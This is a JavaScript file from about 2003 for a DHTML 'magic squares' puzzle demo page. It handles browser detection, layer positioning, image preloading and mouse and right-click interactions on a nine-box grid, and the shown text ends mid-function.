///////////////////////
///////////////////////	magic squares demonstration script version 4.20.11
///////////////////////
/////////////////////// © digsby wyscher october mmiii
/////////////////////// all rights reserved
/////////////////////// digsby@sonik-systems.com
///////////////////////
/////////////////////// no original part of this script should be copied,
/////////////////////// used or reprinted without
/////////////////////// express permission
///////////////////////

/////////////////////////////////////
//////////////behind the scenes//////
/////////////////////////////////////

konq=false;		//check for kde "crap" browser
kmeleonalert=false;
ns6factor=0;	// correcting for scrollbars
stepper=0;		//an incremental variable for the curtain fx
incher=0;		//a multipurpose incremental variable
pincher=0;		//a multipurpose incremental variable

//function onerror() {document.location.href = "javascript:";}

function RemoveDot()
{
for (a in document.links) document.links[a].onfocus = document.links[a].blur;}

function pause(numberMillis)
{ var dialogScript = 'window.setTimeout(' + 'function() {window.close(); }, ' + numberMillis + ');';
var result =  window.showModalDialog( 'javascript:document.writeln(' + '"<script>' + dialogScript + '<' + '/script>")');
}

function Is() {
agent  = navigator.userAgent.toLowerCase();
this.major = parseInt(navigator.appVersion);
this.minor = parseFloat(navigator.appVersion);
this.ie    = (agent.indexOf("msie")       !=   -1);
this.ie3   = (this.ie && (this.major      <     4));
this.ie4   = (this.ie && (this.major      ==    4) &&
(agent.indexOf("msie 5.0")   ==   -1));
this.ie5   = (this.ie && (this.major      ==    4) &&
(agent.indexOf("msie 5.0")   !=   -1));
this.ie55  = (this.ie && (this.major      ==    4) &&
(agent.indexOf("msie 5.5")   !=   -1));
this.ie6  =  (this.ie && (this.major      ==    4) &&
(agent.indexOf("msie 6.0")   !=   -1));

if (agent.indexOf('konqueror')   !=   -1) {konq=true;}
if (agent.indexOf('opera')   !=   -1) {operalert=true;}
if (agent.indexOf('linux')   !=   -1) {linuxalert=true;}
if (agent.indexOf('meleon')   !=   -1) {kmeleonalert=true;}
}

var is = new Is();



function clipLayer(layer,array,index) {
var cTop = array[index].top;
var cRight = array[index].right;
var cBottom = array[index].bottom;
var cLeft = array[index].left;
if(array[index].move != null) {
layer.left = array[index].move;
}
if(document.layers) {
layer.clip.top = cTop;
layer.clip.right = cRight;
layer.clip.bottom = cBottom;
layer.clip.left =  cLeft;
} else {
layer.clip = 'rect(' + cTop + ' ' + cRight + ' ' + cBottom + ' ' + cLeft + ')';
}
}
function clipValues(top,right,bottom,left,move) {
this.top = top;
this.right = right;
this.bottom = bottom;
this.left = left;
this.move = move;}

/////////////////////////////////////////////////
///preload feature///////////////////////////////
/////////////////////////////////////////////////

function goforit()
{

if (document.all) {
doc = 'document.all["';
sty = '"].style';
htm=  '"].document';
document.oncontextmenu =showMenu;
document.onmousedown = RemoveDot;
document.onkeydown = keyDown;
}

else if (document.layers) {
doc = "document.";
sty = "";
htm=  ".document"
document.captureEvents(Event.MOUSEDOWN | Event.KEYDOWN);
document.onmousedown = showMenu;
document.onkeydown = keyDown;
}

else if (document.getElementById) {
doc = "document.getElementById(\'";
sty = "\').style";
htm=  "\')";
document.oncontextmenu =showMenu;
document.onkeydown = keyDown;
ns6factor=20;
ns7input = eval(doc + 'ieframe' + htm);
ns7linput = eval(doc + 'rightieframe' + htm);
ns7rinput = eval(doc + 'leftieframe' + htm);

}

else {alert("Unrecognized Browser Detected");}

if (konq) {available_height=top.innerHeight;}

new_size=((available_width-(pic_size*3))/2);
box_position = (available_height*0.09);

////// logo layer //////////////////

extraLyr = eval(doc + 'extralayer' + sty);
extraHTML = eval(doc + 'extralayer' + htm);
extraLyr.left=30;
extraLyr.top=(available_height)-55;
extraLyr.visibility='visible';

hiddnLyr = eval(doc + 'hidepage' + sty);

///////////////////////////////////////////////////
//////////define all the grid boxes////////////////
///////////////////////////////////////////////////

boxLyr = new Array();
boxHtm = new Array();
hazeLyr= new Array();
changer = new Array();
changerhtm = new Array();

for (i=1;i<9;i++) {  //// nb sty and htm are the wrong way round for boxes

boxLyr[i] = eval(doc + 'box'+ i + htm);
boxHtm[i] = eval(doc + 'box'+ i + sty);
changer[i] = eval(doc + 'nu'+ i + sty);
changerhtm[i] = eval(doc + 'nu' +i + htm);
hazeLyr[i] = eval(doc + 'haze'+ i + sty);
}

boxLyr[9] = eval(doc + 'box9'+ htm);
boxHtm[9] = eval(doc + 'box9' + sty);

box_blue = eval(doc + 'nu10' + sty);
box_yellow = eval(doc + 'nu11' + sty);

dragLyr = eval(doc + 'dragbox' + sty);
drag1Lyr = eval(doc + 'dragbox1' + sty);

initLyr = eval(doc + 'nu12' + sty);
initHtm = eval(doc + 'nu12' + htm);

sceneryLyr = eval(doc + 'scenery' + sty);
sceneryHtm = eval(doc + 'scenery' + htm);

hint1Lyr = eval(doc + 'strat' + sty);

initLyr.left=new_size;
initLyr.top=box_position;
hint1Lyr.left=new_size-10;
hint1Lyr.top=(box_position-20);

unlock1Lyr = eval(doc + 'unlock1' + sty);
unlock1Lyr.left=pic_size+new_size;
unlock1Lyr.top=pic_size+box_position;
unlock1Lyr.visibility="visible";

tiger1Lyr = eval(doc + 'tiger1' + sty);
tiger1Htm = eval(doc + 'tiger1' + htm);
tiger2Lyr = eval(doc + 'tiger2' + sty);
tiger2Htm = eval(doc + 'tiger2' + htm);

curtain1Lyr = eval(doc + 'curtain1' + sty);
curtain2Lyr = eval(doc + 'curtain2' + sty);
curtain3Lyr = eval(doc + 'curtain3' + sty);
curtain3Lyr.top=(available_height/2)
curtain4Lyr = eval(doc + 'curtain4' + sty);
curtain4Lyr.left=(available_width/2);
curtain5Lyr = eval(doc + 'curtain5' + sty);

curtain2Htm = eval(doc + 'curtain2' + htm);

markerLyr = eval(doc + 'marker' + sty);
marker1Lyr = eval(doc + 'marker1' + sty);
markerLyr.left=1;
marker1Lyr.left=(new_size+4);
markerblank = eval(doc + 'marker2' + sty);

/////////////////////////////////////////////////
//////////define the text layers/////////////////
/////////////////////////////////////////////////

helpLyr = eval(doc + 'help' + sty);
helpHTML = eval(doc + 'help1' + htm);

help1Lyr = eval(doc + 'help1' + sty);
help1HTML = eval(doc + 'help' + htm);

capLyr = eval(doc + 'gridcaption' + sty);
capHTML = eval(doc + 'gridcaption' + htm);

swapper = new Array();

box_setup();
resetLyr = eval(doc + 'reset' + sty);

helpLyr.width=(parseInt(boxHtm[2].left)-5);

help1Lyr.left=(pic_size*3)+5+new_size;
help1Lyr.width=(available_width-parseInt(help1Lyr.left))-ns6factor;

/////////////////////////////////////////////////
//////////define the control panel///////////////
/////////////////////////////////////////////////

switchLyr = eval(doc + 'mainswitch' + sty);
switchLyr.left=new_size+10;
switchLyr.top=(available_height-52)-ns6factor;
switchLyr.visibility="visible";

switchclipArray = new Array();
switchclipArray[1] = new clipValues(0,24,23,0,parseInt(switchLyr.left));
switchclipArray[0] = new clipValues(0,48,23,24,parseInt(switchLyr.left)-24);
switchclipArray[2] = new clipValues(0,72,23,48,parseInt(switchLyr.left)-48);

irisiconLyr = eval(doc + 'irisicon' + sty);
irisiconLyr.left=new_size+10;
irisiconLyr.top=(available_height-25)-ns6factor;

irisiconclipArray = new Array();
irisiconclipArray[0] = new clipValues(0,24,23,0,parseInt(irisiconLyr.left));
irisiconclipArray[1] = new clipValues(0,48,23,24,parseInt(irisiconLyr.left)-24);

texticonLyr = eval(doc + 'texticon' + sty);
texticonLyr.left=new_size+40;
texticonLyr.top=(available_height-52)-ns6factor;

texticonArray = new Array();
texticonArray[0] = new clipValues(0,24,23,0,parseInt(texticonLyr.left));
texticonArray[1] = new clipValues(0,48,23,24,parseInt(texticonLyr.left)-24);

boxswitchLyr = eval(doc + 'boxswitch' + sty);
boxswitchLyr.left=new_size+40;
boxswitchLyr.top=(available_height-25)-ns6factor;

boxswitchclipArray = new Array();
boxswitchclipArray[0] = new clipValues(0,24,23,0,parseInt(boxswitchLyr.left));
boxswitchclipArray[1] = new clipValues(0,48,23,24,parseInt(boxswitchLyr.left)-24);

tigericonLyr = eval(doc + 'tigerswitch' + sty);
tigericonLyr.left=new_size+70;
tigericonLyr.top=(available_height-52)-ns6factor;

tigericonclipArray = new Array();
tigericonclipArray[0] = new clipValues(0,24,23,0,parseInt(tigericonLyr.left));
tigericonclipArray[1] = new clipValues(0,48,23,24,parseInt(tigericonLyr.left)-24);

pawiconLyr = eval(doc + 'pawicon' + sty);
pawiconLyr.left=new_size+70;
pawiconLyr.top=(available_height-25)-ns6factor;

pawiconclipArray = new Array();
pawiconclipArray[0] = new clipValues(0,24,23,0,parseInt(pawiconLyr.left));
pawiconclipArray[1] = new clipValues(0,48,23,24,parseInt(pawiconLyr.left)-24);

crossiconLyr = eval(doc + 'crossicon' + sty);
crossiconLyr.top=(available_height-52)-ns6factor;
crossiconLyr.left=new_size+100;

crossiconclipArray = new Array();
crossiconclipArray[0] = new clipValues(0,24,23,0,parseInt(crossiconLyr.left));
crossiconclipArray[1] = new clipValues(0,48,23,24,parseInt(crossiconLyr.left)-24);

dancingiconLyr = eval(doc + 'dancingicon' + sty);
dancingiconLyr.left=new_size+100;
dancingiconLyr.top=(available_height-25)-ns6factor;

dancingiconclipArray = new Array();
dancingiconclipArray[0] = new clipValues(0,24,23,0,parseInt(dancingiconLyr.left));
dancingiconclipArray[1] = new clipValues(0,48,23,24,parseInt(dancingiconLyr.left)-24);
dancingiconclipArray[2] = new clipValues(0,72,23,48,parseInt(dancingiconLyr.left)-48);

dragiconLyr = eval(doc + 'dragicon' + sty);
dragiconLyr.left=new_size+130;
dragiconLyr.top=(available_height-25)-ns6factor;

dragiconclipArray = new Array();
dragiconclipArray[0] = new clipValues(0,24,23,0,parseInt(dragiconLyr.left));
dragiconclipArray[1] = new clipValues(0,48,23,24,parseInt(dragiconLyr.left)-24);

blankswitchLyr = eval(doc + 'blankswitch' + sty);
blankswitchLyr.left=new_size+10;
blankswitchLyr.top=(available_height-52)-ns6factor;
blankswitchLyr.visibility="visible";

reseticonLyr = eval(doc + 'reseticon' + sty);
downoneLyr = eval(doc + 'reseticon1' + sty);
chasericonLyr = eval(doc + 'chasericon' + sty);

magneticonLyr = eval(doc + 'magneticon' + sty);
magneticonLyr.top=(available_height-52)-ns6factor;
magneticonLyr.left=new_size+160;

magneticonclipArray = new Array();
magneticonclipArray [0] = new clipValues(0,24,23,0,parseInt(magneticonLyr.left));
magneticonclipArray [1] = new clipValues(0,48,23,24,parseInt(magneticonLyr.left)-24);

/////////////////////////////////////////////////
//////////other images///////////////////////////
/////////////////////////////////////////////////


oldimage = new Image();
oldimage.src = "images/8thbox.gif";

oldimage2 = new Image();
oldimage2.src = "hint.gif";

altimage1 = new Image();
altimage1.src  = "images/1stbox.gif";

blank2img = new Image();
blank2img.src='images/blank2.gif';

tiles2img = new Image();
tiles2img.src = 'images/tiles2.gif';

backnosimg = new Image();
backnosimg.src = 'images/back-nos.gif';

hintimg = new Image();
hintimg.src = oldimage2.src;

rich1img = new Image();
rich1img.src = "images/richter.jpg";
rich2img = new Image();
rich2img.src = "images/richter1.jpg";
rich3img = new Image();
rich3img.src = "images/richter2.gif";

tiger1img= new Image();
tiger1img.src = 'images/tiger6.jpg';
tiger2img= new Image();
tiger2img.src = 'images/tiger7.jpg';

verm1img = new Image();
verm1img.src = "images/vermeer/delft.jpg";
verm2img = new Image();
verm2img.src = "images/vermeer/virginal.jpg";
verm3img = new Image();
verm3img.src = "images/vermeer/milkmaid1.jpg";
verm4img = new Image();
verm4img.src = "images/vermeer/girlwithglassofwine.jpg";
verm5img = new Image();
verm5img.src = "images/vermeer/girlwithletteratwindow.jpg";
verm6img = new Image();
verm6img.src = "images/vermeer/womanwithletterandmaid.jpg";
verm7img = new Image();
verm7img.src = "images/vermeer/letter.jpg";
verm8img = new Image();
verm8img.src = "images/vermeer/milkmaid.jpg";
verm9img = new Image();
verm9img.src = "images/vermeer/balance.jpg";
verm10img = new Image();
verm10img.src = "images/vermeer/alleg3.jpg";
verm11img = new Image();
verm11img.src = "images/vermeer/alleg1.jpg";
verm12img = new Image();
verm12img.src = "images/vermeer/alleg2.jpg";

backd1img = new Image();
backd1img.src = "images/backdrop1.gif";
backd2img = new Image();
backd2img.src = "images/backdrop3.gif";
backd3img = new Image();
backd3img.src = "images/backdrop2.gif";
backd4img = new Image();
backd4img.src = "images/bg1.gif";
backd5img = new Image();
backd5img.src = "images/bg2.gif";

kal1img = new Image();
kal1img.src = "images/kalie-1.gif";
kal2img = new Image();
kal2img.src = "images/kalie-2.gif";

multiimg = new Image();
multiimg.src = "images/multi.gif";

hevn1img = new Image();
hevn1img.src = "images/hevnhell.gif";
hevn2img = new Image();
hevn2img.src = "images/hevnhel1.gif";
hevn3img = new Image();
hevn3img.src = "images/hevnhel4.gif";
hevn4img = new Image();
hevn4img.src = "images/hevnhel3.gif";
hevn5img = new Image();
hevn5img.src = "images/angel.gif";
hevn6img = new Image();
hevn6img.src = "images/angel2.gif";
hevn7img = new Image();
hevn7img.src = "images/angel3.gif";

lev3img = new Array();

for (i=0; i < 9; i++) {
lev3img[i]= new Image();
lev3img[i].src='images/level3_'+i+'.gif';
}

box1img = new Image();
box1img.src = "images/1stbox.gif";

box2img = new Image();
box2img.src = "images/2ndbox.gif";
box3img = new Image();
box3img.src = "images/3rdbox.gif";
box4img = new Image();
box4img.src = "images/4thbox.gif";
box5img = new Image();
box5img.src = "images/5thbox.gif";
box6img = new Image();
box6img.src = "images/6thbox.gif";
box7img = new Image();
box7img.src = "images/7thbox.gif";

box8img = new Image();
box8img.src = oldimage.src;

box9img = new Image();
box9img.src = "images/9thbox.gif";
box10img = new Image();
box10img.src = "images/10thbox.gif";

box13img = new Image();
box13img.src = "images/13thbox.gif";
box14img = new Image();
box14img.src = "images/14thbox.gif";
box15img = new Image();
box15img.src = "images/15thbox.gif";
box16img = new Image();
box16img.src = "images/16thbox.gif";
box17img = new Image();
box17img.src = "images/17thbox.gif";
box18img = new Image();
box18img.src = "images/18thbox.gif";
box19img = new Image();
box19img.src = "images/19thbox.gif";
box20img = new Image();
box20img.src = "images/20thbox.gif";
box21img = new Image();
box21img.src = "images/21stbox.gif";
box22img = new Image();
box22img.src = "images/22ndbox.gif";
box23img = new Image();
box23img.src = "images/23rdbox.gif";
box24img = new Image();
box24img.src = "images/24thbox.gif";
box25img = new Image();
box25img.src = "images/25thbox.gif";
box26img = new Image();
box26img.src = "images/26thbox.gif";
box27img = new Image();
box27img.src = "images/27thbox.gif";
box28img = new Image();
box28img.src = "images/28thbox.gif";
box29img = new Image();
box29img.src = "images/29thbox.gif";
box30img = new Image();
box30img.src = "images/30thbox.gif";
box31img = new Image();
box31img.src = "images/31stbox.gif";
box32img = new Image();
box32img.src = "images/32nddox.gif";
box33img = new Image();
box33img.src = "images/33rdbox.gif";
box34img = new Image();
box34img.src = "images/34thbox.gif";
box35img = new Image();
box35img.src = "images/35thbox.gif";
box36img = new Image();
box36img.src = "images/36thbox.gif";

///////////// *** setup the text size proportional to screensize

if (thefontsize<=1) {thefontsize="SMIDGIER";}
if (thefontsize==2) {thefontsize="SMIDGE";}
if (thefontsize==3) {thefontsize="STANDARD";}
if (thefontsize>=4) {thefontsize="GRANDER";}


/////////////////////////////////////////////////
//variable setup - no doubt some are redundant///
/////////////////////////////////////////////////

helpclik=1;		// multipurpose switch for text visibility and reloading of initial help text
checknumber="";	// box number 1-9
selct1="";		// random number for box selection
selct2=1;		// 2nd alternative box
selct3="";		// 1st alternative box
selct4=0;		// 3rd alternative box
passport="no";	// switch for unlock process 1
passport1="yes";	// switch for unlock process 2
verify="no";	// switch for right click event
valid="yes";	// switch for consecutive loading of text into layers in NS
choice="no";	// textmover carrier switch for abc levels of text per selection
yesclik=0;		// left click controller for progress of text across levels abc
maybclik=0;		// right click controller for progress of text across levels abc
counter=0;		// right click check to fire hint for unlock process 1
counter1=0;		// left click check to fire hint for unlock process 1
rnd1=0;		// random number for text position
gridlevel=0;	// appearance carrier 0=front page, 1=level 1 etc
gridlock=0;		// switch for gridlevel clearance
r_jumper=0;		// switch to stop repeated image events for right click
l_jumper=0;		// switch to stop repeated image events for left click
var i = 0;		// setup for a counter
n=0;			// carrier for whether chaser() is running
stopevent="no";	// bugfix: carrier to stop previous mouse events mucking up text layer loads
//boxHtm="";  	// bugfix: error checking nuisance!
lorr="";		// left or right or both option helpxlyr loading
boxstate=0;		// graphic responses of boxes control switch
key_value=0;	// ascending levels of clearance in keyboard unlock process
switch1="";		// carrier for selected box image
switch2="";		// carrier for 1st option box image
switch3="";		// carrier for 1st+2nd alternative box images
x_pos=0;		// coordinates for all four possible boxes...
x_pos1=0;		// ...
x_pos2=0;		// ...
x_pos3=0;		// ...
y_pos=0;		// ...
y_pos1=0;		// ...
y_pos2=0;		// ...
y_pos3=0;		// ...
xcoord=0;		// corrects positioning between mouse and box on drag
ycoord=0;		// corrects positioning between mouse and box on drag
xpos=0;
ypos=0;
tyger=0;		// function switch for tiger presentation
swaptiger=0;	// switch for background to tiger feature
dragswitch=0;	// on/off switch for drag feature
drag= false;	// switch for all drag features
quickcarrier=0;	// carrier for boxswitch within drag feature
dragchecker=0;	// bugfix for mie in drag feature
curtain=0;		// switch for opening / closing swish and swoosh
themove=0;		// step value for speed of keyboard anime. for grid
dragverify=0;	// checker for the level dragger
oldiconx=0;		// position on mousedown
newiconx=0;		// position on mousemove
hiher=0;		// how far to the right before firing?
lower=0;		// how far to the left before firing?
boxformation=0;	// initial box positions for choreographer
choreographer=0;	// switch for choreographer
dance=0;		// on / off animations
blockdrag="no";
textswitch=0;
textswitch1=0;
thecol=485980;
prefix="#";
gridscheme=0;

//////////////////////////////////////////////
/////// generate the opening /////////////////
//////////////////////////////////////////////


switchit();
show_box('visible');
nu_text(60,'both',0);
//hiddnLyr.visibility='hidden';
//clearfront();
}

/////////////////////////////////////////////////
//////////setup + reset processes////////////////
/////////////////////////////////////////////////

function clearfront() {
if (document.getElementById) {  // DOM3 = IE5, NS6
document.getElementById('hidepage').style.visibility = 'hidden';}
else {
if (document.layers) {  // Netscape 4
document.hidepage.visibility = 'hidden';}
else {  // IE 4
document.all.hidepage.style.visibility = 'hidden';}
}
}


function box_setup() {
boxHtm[1].left=(pic_size)+new_size;
boxHtm[1].top =(pic_size)+box_position;
boxHtm[2].left=new_size;
boxHtm[2].top=box_position;
boxHtm[3].left=(pic_size)+new_size;
boxHtm[3].top=box_position;
boxHtm[4].left=(pic_size*2)+new_size;
boxHtm[4].top=box_position;
boxHtm[5].left=(pic_size*2)+new_size;
boxHtm[5].top=(pic_size)+box_position;
boxHtm[6].left=(pic_size*2)+new_size;
boxHtm[6].top=(pic_size*2)+box_position;
boxHtm[7].left=(pic_size)+new_size;
boxHtm[7].top=(pic_size*2)+box_position;
boxHtm[8].left=new_size;
boxHtm[8].top=(pic_size*2)+box_position;
boxHtm[9].left=new_size;
boxHtm[9].top=(pic_size)+box_position;

Image_ = new Array();

if (document.layers || document.all ) {

for (i=1;i<10;i++) {Image_[i] = eval('boxLyr['+i+'].Image'+i);}

Image_12 = eval(initHtm.nuimg12);
Image_scene = eval(sceneryHtm.scene);
tiger_1 = eval(tiger1Htm.tigerimg1);
tiger_2 = eval(tiger2Htm.tigerimg2);
curtainimg= eval(curtain2Htm.novimg);
}
else
{
for (i=1;i<10;i++) {Image_[i] = eval(doc + 'Image' + i + htm);}

Image_12 = eval(doc + 'nuimg12' + htm);
Image_scene = eval(doc + 'scene' + htm);
tiger_1 = eval(doc + 'tigerimg1' + htm);
tiger_2 = eval(doc + 'tigerimg2' + htm);
curtainimg=eval(doc + 'novimg' + htm);
}
}

function secondsetup() {
reseticonLyr.left=new_size+130;
reseticonLyr.top=(available_height-52)-ns6factor;
downoneLyr.left=new_size+190;
downoneLyr.top=(available_height-25)-ns6factor;
chasericonLyr.left=new_size+190;
chasericonLyr.top=(available_height-52)-ns6factor;
tiger1Lyr.left=new_size;
tiger1Lyr.top=box_position;
tiger2Lyr.left=new_size;
tiger2Lyr.top=box_position;
Image_12.src=tiles2img.src;
capLyr.width=(pic_size*1.5);
Image_scene.src=backnosimg.src;
curtain2Lyr.left=new_size;
curtain2Lyr.top=box_position;
sceneryLyr.left=(new_size-3);
sceneryLyr.top=box_position;
marker1Lyr.visibility="visible";
extraLyr.visibility='visible';
}



function newgrid() {			//*** now setup the new grid

if (gridlevel==0) {
helpclik=1;
tiger_1.src=tiger1img.src;
tiger_2.src=tiger2img.src;
nu_text(42,'both');		//*** load up the level 1 intro
}
if (gridscheme==1){gridscheme=0;}	//switchit will always swap - to avoid this
else						//change gridscheme before calling it
{gridscheme=1;}
if (gridlevel>0) {helpclik=1;textoff();}
gridlevel=gridlevel+1;
if (gridlevel==9) {gridlevel=8;}
if (curtain==1) {sceneryswapper();}
switchit();
if (gridlevel==8) {chasericonLyr.visibility="hidden";sceneryLyr.top=available_height;}
else
{sceneryLyr.top=box_position;}
if (gridlevel>0 && !drag) {
markerLyr.left=parseInt(((new_size-45)+(gridlevel*25)));
markerblank.left=parseInt(markerLyr.left);}
n=0;					//chaser switch off
show_box('visible');
}

function chaser1() {    		// quiet level shifter
if (choreographer==1) {stopdance();}
unlock1Lyr.visibility="hidden";
switchclear();
newgrid();
if (gridlevel==1) {secondsetup();clearhint();}
}

function clearhint() {    //activates grid via the first box
if (gridlevel==1 && gridlock==0)  {
initLyr.visibility="hidden";
hint1Lyr.visibility="hidden";
dragiconLyr.visibility="visible";
controlpanel('visible');
markerblank.visibility="visible";
helpclik=0;
gridlock=1;
dragswitch=0;
curtain2Lyr.visibility="visible";
sceneryLyr.visibility="visible";}
}

function controlpanel(seeit) {
downoneLyr.visibility=seeit;dancingiconLyr.visibility=seeit;boxswitchLyr.visibility=seeit;
if (choreographer==0) {texticonLyr.visibility=seeit;pawiconLyr.visibility=seeit;irisiconLyr.visibility=seeit;}
markerLyr.visibility=seeit;
chasericonLyr.visibility=seeit;}

function show_box(see_it) {

for (xi=1;xi<10;xi++) {boxHtm[xi].visibility=see_it;}
}


function resetgrid() {
if (curtain==1) {gridlevel=gridlevel-1;sceneryswapper();gridlevel=gridlevel+1;}
if (dragswitch==1) {dragrestore();}
if (curtain==1 && gridlevel==1) {swish();}
if (choreographer==1) {stopdance();}
imgout();   //no need for switchclear
if (tyger==1 && gridlevel==1) {tigerclear();}
initLyr.visibility="hidden";
hint1Lyr.visibility="hidden";
capLyr.visibility="hidden";
if (gridlevel>0)	{
gridlevel=gridlevel-1;
if (gridlevel==7) {chasericonLyr.visibility="visible";sceneryLyr.top=box_position;}
if (!drag) 		{helpclik=1;textoff();
markerLyr.left=parseInt(((new_size-45)+(gridlevel*25)));
markerblank.left=parseInt(markerLyr.left);}
}
else
{gridlevel=0;}
if (gridscheme==1){gridscheme=0;}	//switchit will always swap - to avoid this
else 				//change gridscheme before calling the fnctn
{gridscheme=1;}
switchit();					////restores grid to original appearance
if (gridlevel==0) {
boxstate=1;
box_setup();
passport1="no";
passport="no";
dragiconLyr.visibility="hidden";
markerblank.visibility="hidden";
marker1Lyr.visibility="hidden";
sceneryLyr.visibility="hidden";
controlpanel('hidden');
boxonoff();
reseticonLyr.visibility="hidden";
clipLayer(texticonLyr,texticonArray,0);
if (gridscheme==1) {unlock1Lyr.visibility="visible";}
nu_text(60,'both',0);
}
valid="yes";gridlock=0;helpclik=1;textoff();
}

/////////////////////////////////////////////////
//////////grid interactions//////////////////////
/////////////////////////////////////////////////

// *** mouseover control
function imgover(box_value){

if (dragchecker==0) {checknumber=box_value;}

if (box_value=="help" || box_value=="switch" || box_value=="boxswitch" || box_value=="catswitch" || box_value=="txt" || box_value=="reset" || box_value=="reset1" || box_value=="dragit" || box_value=="pawswitch" || box_value=="irisswitch" || box_value=="dancingswitch" || box_value=="animeoff" || box_value=="magneto" || box_value=="chase") {verify="yes";return false;}

verify="yes"; 		//right click event capturing turned on
passport="no";
selct = Math.round(8*Math.random());
selct=(selct+1)/9;

if (selct>0.8) {selct=0.8;}
if (box_value==2){
selct1 = (1-selct)*4;short_code();passport1="yes";
if (selct1==2) {selct2=3; selct3=9;}
if (selct1==3) {selct2=9; selct3=3;}
if (gridlevel==1 && helpclik==1 && dragswitch==0) {clearhint();}
}
if (gridlevel!=0) {text_mover("no");}
if (box_value==3) {
selct1 = (1-selct)*6;short_code();passport1="no";
if (selct1==2) {selct2=2; selct3=9;}
if (selct1==3) {selct2=4; selct3=5;}
if (selct1==4) {selct2=5; selct3=4;}
if (selct1==5) {selct2=9; selct3=2;}
}
if (box_value==4) {
selct1 = (1-selct)*4;short_code();passport1="no";
if (selct1==2) {selct2=3; selct3=5;}
if (selct1==3) {selct2=5; selct3=3;}
}
if (box_value==5) {
selct1 = (1-selct)*6;short_code();passport1="no";
if (selct1==2) {selct2=3;selct3=7;}
if (selct1==3) {selct2=4;selct3=6;}
if (selct1==4) {selct2=6;selct3=4;}
if (selct1==5) {selct2=7;selct3=3;}
}
if (box_value==6) {
selct1 = (1-selct)*3;selct1=Math.round(selct1);
if (selct1<=1) {passport="yes";selct1=1;}
if (selct1==2) {selct2=5;selct3=7;}
if (selct1==3) {selct2=7;selct3=5;}
}
if (box_value==7) {
selct1 = (1-selct)*6;short_code();passport1="no";
if (selct1==2) {selct2=5;selct3=9;}
if (selct1==3) {selct2=6;selct3=8;}
if (selct1==4) {selct2=8;selct3=6;}
if (selct1==5) {selct2=9;selct3=5;}
}
if (box_value==8) {
selct1 = (1-selct)*4;short_code();passport1="no";
if (selct1==2) {selct2=7;selct3=9;}
if (selct1==3) {selct2=9;selct3=7;}
}
if (box_value==9) {
selct1 = (1-selct)*6;short_code();passport1="no";
if (selct1==2) {selct2=2;selct3=8;}
if (selct1==3) {selct2=3;selct3=7;}
if (selct1==4) {selct2=7;selct3=3;}
if (selct1==5) {selct2=8;selct3=2;}
}
randomize();

if (selct1==1)
{selct2=1;answer = Math.round(7*Math.random());selct3=answer+2;
if (selct3==box_value)
{selct3=selct3-1;       			//non-random event
if (selct3==1){selct3=9;}
}
}

if (box_value==1)
{selct1 = (1-selct)*9;short_code();selct2=parseInt(selct1)+1;answer = Math.round(7*Math.random());selct3=answer+2;passport1="no";
if (selct3==selct2)
{selct3=selct3-1;					//non-random event
if (selct3==1){selct3=9;}
}
}

if (boxstate==0) {

if (selct4==box_value || selct4==selct2){selct4=5;} //doesnt work if selct2 is five?

//choosen = "box"+checknumber+"Htm";over_box1=eval(choosen);
choosen = "boxHtm["+checknumber+"]";over_box1=eval(choosen);
x_pos=parseInt(over_box1.left);y_pos=parseInt(over_box1.top);
//choosen = "box"+selct2+"Htm";over_box=eval(choosen);
choosen = "boxHtm["+selct2+"]";over_box=eval(choosen);
x_pos1=parseInt(over_box.left);y_pos1=parseInt(over_box.top);
//choosen = "box"+selct3+"Htm";over_box=eval(choosen);
choosen = "boxHtm["+selct3+"]";over_box=eval(choosen);
x_pos2=parseInt(over_box.left);y_pos2=parseInt(over_box.top);
//choosen = "box"+selct4+"Htm";over_box=eval(choosen);
choosen = "boxHtm["+selct4+"]";over_box=eval(choosen);
x_pos3=parseInt(over_box.left);y_pos3=parseInt(over_box.top);

if (dragswitch==1) {
switch2=0;
if (blockdrag=="yes" && checknumber==1) {switch1=drag1Lyr;}
else
{switch1=dragLyr;}
}
else {
if (gridlevel<8 && (tyger!=0 || curtain!=0 || gridlevel==6 ))
{switch1=hazeLyr[1];switch2=hazeLyr[2];}
else
{switch1=changer[1];switch2=changer[2];}
}
if (stopevent=="yes") {stopevent="no";return false;}
switchjump();}
}

function helpout() {
if (dragverify==1) {
if (document.layers) {
document.onmousedown=showMenu;
releaseEvents(Event.MOUSEMOVE | Event.MOUSEUP | Event.MOUSEDOWN);
document.onmousemove = 0;
document.onmouseup=0;
dragverify=0;}
}
else
{dragverify=0;}
verify="no";
}


function imgout() {						// *** mouseout control
if (boxstate==0) {
l_jumper=0;
r_jumper=0;
verify="no"; //right click event capturing turned off
switchclear();
///////////clear the hint

if (Image_[1].src==oldimage2.src) {

if (gridscheme==1) {unlock1Lyr.visibility="visible";Image_[1].src = blankimage.src;}
if (gridscheme==0) {Image_[1].src = altimage1.src;}
}
///////////clear the white box
if (Image_[1].src==oldimage.src && n==0) {
if (gridscheme==1) {Image_[1].src = blankimage.src;}
if (gridscheme==0) {Image_[1].src = altimage1.src;}
}
}

if (gridlevel!=0) {capLyr.visibility = "hidden";yesclik=0;maybclik=0;}
}


function imgclick(){ 			// *** left click control
if (boxstate==0) {
r_jumper=0;
counter=0;              		// 10 consecutive right clicks shows the hint
counter1=counter1+1;
if (counter1>=20 && gridlevel==0) {
switchclear();
unlock1Lyr.visibility="hidden";
Image_[1].src=hintimg.src;
counter1=0;}
if (l_jumper==0) 		{
l_jumper=1; 	// l_jumper stops images reloading on repeated click
switchclear();
if (dragswitch==1) {switch1=0;switch2=0;switch3=0;}
if (dragswitch==0) 	{
if (gridlevel<8 && (tyger!=0 || curtain!=0 || gridlevel==6 )) {
switch1=hazeLyr[3];
switch2=hazeLyr[4];
switch3=hazeLyr[6];}
else {
switch1=changer[3];switch2=changer[4];switch3=changer[5];}
switchjump();switchjump1();}
}
}
if (gridlevel!=0) {text_mover("yes");}
}


function showMenu (evt) {		// *** mouse downs for NS, right click for MIE

if (document.all) {
if (verify=="yes"){menujump();return false;}
if (verify=="no") {return true;}
}
else
if (document.layers) {
if (verify=="yes" && evt.which == 3 ) {menujump();return false;}
if (verify=="no") {return true;}
}

else
if (document.getElementById) {
if (verify=="yes" && evt.which == 19 ) {menujump();return false;}
if (verify=="no") {return true;}
}

}

function menujump () {			// *** right click functionality
counter1=0;
l_jumper=0;

if (selct3==2 && checknumber==6 && selct2==1) {stopevent="yes";selct3=2;chaser();return false;}
if (gridlevel==1 && selct3==5 && checknumber==9 && selct2==1) {
choreographer=1;boxformation=3;formation();dancing(2);
choreographer=0;
controlpanel('hidden');switchLyr.visibility="hidden";
dragiconLyr.visibility="hidden";
